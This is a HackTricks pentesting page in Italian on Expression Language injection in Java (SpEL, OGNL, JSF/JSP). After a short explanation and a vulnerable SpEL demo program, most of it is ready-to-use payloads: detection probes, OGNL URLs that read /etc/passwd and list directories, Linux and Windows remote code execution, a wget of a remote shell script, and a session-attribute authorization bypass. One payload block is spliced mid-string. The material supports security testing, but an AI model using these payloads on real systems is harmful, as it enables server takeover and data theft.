# EL - Linguaggio di Espressione {{#include ../../banners/hacktricks-training.md}} ## Informazioni di Base Il Linguaggio di Espressione (EL) è fondamentale in JavaEE per collegare il livello di presentazione (ad es., pagine web) e la logica applicativa (ad es., managed beans), consentendo la loro interazione. È utilizzato principalmente in: - **JavaServer Faces (JSF)**: Per il binding dei componenti UI ai dati/azioni di backend. - **JavaServer Pages (JSP)**: Per l'accesso e la manipolazione dei dati all'interno delle pagine JSP. - **Contexts and Dependency Injection for Java EE (CDI)**: Per facilitare l'interazione del livello web con i managed beans. **Contesti di Utilizzo**: - **Spring Framework**: Applicato in vari moduli come Security e Data. - **Uso Generale**: Attraverso l'API SpEL da parte degli sviluppatori in linguaggi basati su JVM come Java, Kotlin e Scala. L'EL è presente nelle tecnologie JavaEE, in ambienti standalone, e riconoscibile attraverso le estensioni di file `.jsp` o `.jsf`, errori di stack e termini come "Servlet" negli header. Tuttavia, le sue funzionalità e l'uso di determinati caratteri possono dipendere dalla versione. > [!NOTE] > A seconda della **versione EL**, alcune **funzionalità** potrebbero essere **Attive** o **Disattive** e di solito alcuni **caratteri** potrebbero essere **non consentiti**. ## Esempio di Base (Puoi trovare un altro tutorial interessante su EL in [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/)) Scarica dal repository [**Maven**](https://mvnrepository.com) i file jar: - `commons-lang3-3.9.jar` - `spring-core-5.2.1.RELEASE.jar` - `commons-logging-1.2.jar` - `spring-expression-5.2.1.RELEASE.jar` E crea il seguente file `Main.java`: ```java import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; public class Main { public static ExpressionParser PARSER; public static void main(String[] args) throws Exception { PARSER = new SpelExpressionParser(); System.out.println("Enter a String to evaluate:"); java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in)); String input = stdin.readLine(); Expression exp = PARSER.parseExpression(input); String result = exp.getValue().toString(); System.out.println(result); } } ``` Successivamente compila il codice (se non hai `javac` installato, installa `sudo apt install default-jdk`): ```java javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java ``` Esegui l'applicazione con: ```java java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main Enter a String to evaluate: {5*5} [25] ``` Nota come nel precedente esempio il termine `{5*5}` è stato **valutato**. ## **Tutorial Basato su CVE** Controllalo in **questo post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a) ## Payloads ### Azioni di base ```bash #Basic string operations examples {"a".toString()} [a] {"dfd".replace("d","x")} [xfx] #Access to the String class {"".getClass()} [class java.lang.String] #Access ro the String class bypassing "getClass" #{""["class"]} #Access to arbitrary class {"".getClass().forName("java.util.Date")} [class java.util.Date] #List methods of a class {"".getClass().forName("java.util.Date").getMethods()[0].toString()} [public boolean java.util.Date.equals(java.lang.Object)] ``` ### Rilevamento - Rilevamento di Burp ```bash gk6q${"zkz".toString().replace("k", "x")}doap2 #The value returned was "igk6qzxzdoap2", indicating of the execution of the expression. ``` - Rilevamento J2EE ```bash #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer): https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL ``` - Dormi 10 secondi ```bash #Blind detection vector (sleep during 10 seconds) https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString} ``` ### Inclusione di File Remoti ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd ``` ### Elenco delle directory ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=.. ``` ### RCE - Spiegazione di base dell'RCE **explanation** ```bash #Check the method getRuntime is there {"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()} [public static java.lang.Runtime java.lang.Runtime.getRuntime()] #Execute command (you won't see the command output in the console) {"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")} [Process[pid=10892, exitValue=0]] #Execute command bypassing "getClass" #{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl .burpcollaborator.net")} # With HTMl entities injection inside the template ``` - RCE **linux** ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt ``` - RCE **Windows** (non testato) ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt ``` - **Maggiore RCE** ```java // Common RCE payloads ''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec() ''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance().start() // Method using Runtime via getDeclaredConstructors #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])} #{session.getAttribute("rtc").setAccessible(true)} #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")} // Method using processbuilder ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} ${request.getAttribute("c").add("cmd.exe")} ${request.getAttribute("c").add("/k")} ${request.getAttribute("c").add("ping x.x.x.x")} ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())} ${request.getAttribute("a")} // Method using Reflection & Invoke ${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")} // Method using ScriptEngineManager one-liner ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))} // Method using ScriptEngineManager {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\"); //https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt (T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())) T(java.lang.System).getenv()[0] T(java.lang.Runtime).getRuntime().exec('ping my-domain.com') T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream()) ''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe') ``` ### Ispezionare l'ambiente - `applicationScope` - variabili globali dell'applicazione - `requestScope` - variabili di richiesta - `initParam` - variabili di inizializzazione dell'applicazione - `sessionScope` - variabili di sessione - `param.X` - valore del parametro dove X è il nome di un parametro http Dovrai convertire queste variabili in Stringa come: ```bash ${sessionScope.toString()} ``` #### Esempio di bypass dell'autorizzazione ```bash ${pageContext.request.getSession().setAttribute("admin", true)} ``` L'applicazione può anche utilizzare variabili personalizzate come: ```bash ${user} ${password} ${employee.FirstName} ``` ## Bypass WAF Controlla [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/) ## Riferimenti - [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/) - [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools) - [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt) {{#include ../../banners/hacktricks-training.md}}